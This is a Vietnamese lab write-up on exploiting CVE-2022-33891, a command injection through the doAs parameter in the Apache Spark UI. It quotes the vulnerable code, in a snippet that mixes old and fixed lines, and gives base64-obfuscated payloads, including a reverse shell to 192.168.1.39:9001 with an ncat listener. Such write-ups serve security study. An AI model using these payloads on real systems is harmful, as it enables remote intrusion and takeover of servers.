Contents

CVE-2022-33891

Description

Apache Spark UI cho phép kích hoạt tính năng danh sách điều khiển truy cập (ACL) thông qua tùy chọn cấu hình spark.acls.enable. Trong đó tồn tại một bộ lọc xác thực có chức năng kiểm tra xem người dùng có quyền truy cập để xem hoặc sửa đổi ứng dụng hay không. Nếu ACL được bật, một đường dẫn mã trong HttpSecurityFilter có thể cho phép hacker thực hiện hành vi mạo danh bằng cách cung cấp tên người dùng tùy ý. Với cấu hình spark.acls.enable true sẽ kích hoạt lỗi chèn lệnh tùy ý. Đoạn mã này có nhiệm vụ kiểm tra quyền của người dùng bằng cách sử dụng lệnh bash shell kết hợp với lệnh unix id. Đoạn mã tồn tại lỗi:


private def getUnixGroups(username: String): Set[String] = {
    val cmdSeq = Seq("bash", "-c", "id -Gn " + username)
    // we need to get rid of the trailing "\n" from the result of command execution
    Utils.executeAndGetOutput(cmdSeq).stripLineEnd.split(" ").toSet           
    Utils.executeAndGetOutput(idPath ::  "-Gn" :: username :: Nil).stripLineEnd.split(" ").toSet
  }

Hacker có thể khai thác bằng cách thiết lập một lệnh bash shell trong tham số ?doAs http://<spark-ip>:8080/?doAs={OS_command} Tham số doAs trong Apache Spark cho phép người dùng chạy một lệnh với tư cách là người dùng khác. Tham số này có thể được sử dụng để cấp cho người dùng các quyền đặc biệt, chẳng hạn như quyền truy cập vào các tài nguyên hệ thống hoặc dữ liệu nhạy cảm. Các lệnh của được xử lý thông qua tham số ?doAs và không có gì được phản ánh lại trên trang trong quá trình thực thi lệnh, vì vậy đây là một lỗi Blind OS command injection.

Goal

Khai thác lỗ hổng CVE-2022-33891 thông qua Apache Spark UI, gửi một reverse shell lên server và RCE.

Exploitation

Bước 1: Vào trong máy ảo docker và chỉnh sửa file conf/spark-defaults.conf bằng dòng lệnh: echo "spark.acls.enable true" >> conf/spark-defaults.conf

https://github.com/g03m0n/pics/assets/130943529/1c7cc1b8-d5b0-4aa1-b830-6b8acc3b18f8

Bước 2: Đây là giao diện chính của Spark Master.

https://github.com/g03m0n/pics/assets/130943529/5e87ebfb-a640-4d3e-a81a-46fc04c6fdb0

Bước 3: Ta thử lần lượt từng payload.

echo "d2hvYW1p" | base64 -d | bash (tương đương với whoami) echo "c2xlZXAgMTAK" | base64 -d | bash (tương đương với sleep 10)

https://github.com/g03m0n/pics/assets/130943529/d69979af-ab85-4a8f-87af-639d11074efd

Nhận thấy các lệnh của được xử lý thông qua tham số ?doAs và không có gì được phản ánh lại trên trang trong quá trình thực thi lệnh, vì vậy đây là một lỗi Blind OS command injection.

Bước 4: Tiến hành khai thác bằng PHP reverse shell.

Mở một port trên máy attacker bằng lệnh ncat -nvlp 9001

https://github.com/g03m0n/pics/assets/130943529/2a39de6d-358b-4cde-ac1d-82246774d08a

Tiến hành reverse với dòng lệnh: echo "c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjM5LzkwMDEgMD4mMQ==" | base64 -d | bash (tương đương với sh -i >& /dev/tcp/192.168.1.39/9001 0>&1)

https://github.com/g03m0n/pics/assets/130943529/ba3170c5-894c-48bc-bb89-f81511ef8681

Bước 5: Reverse thành công.

https://github.com/g03m0n/pics/assets/130943529/423b01dd-cd29-44f9-b8fb-c3e5c5f5ad03

Bước 6: Khai thác thành công.

https://github.com/g03m0n/pics/assets/130943529/7d9a016f-a941-4066-afa7-bf44f7c5142e

Video demo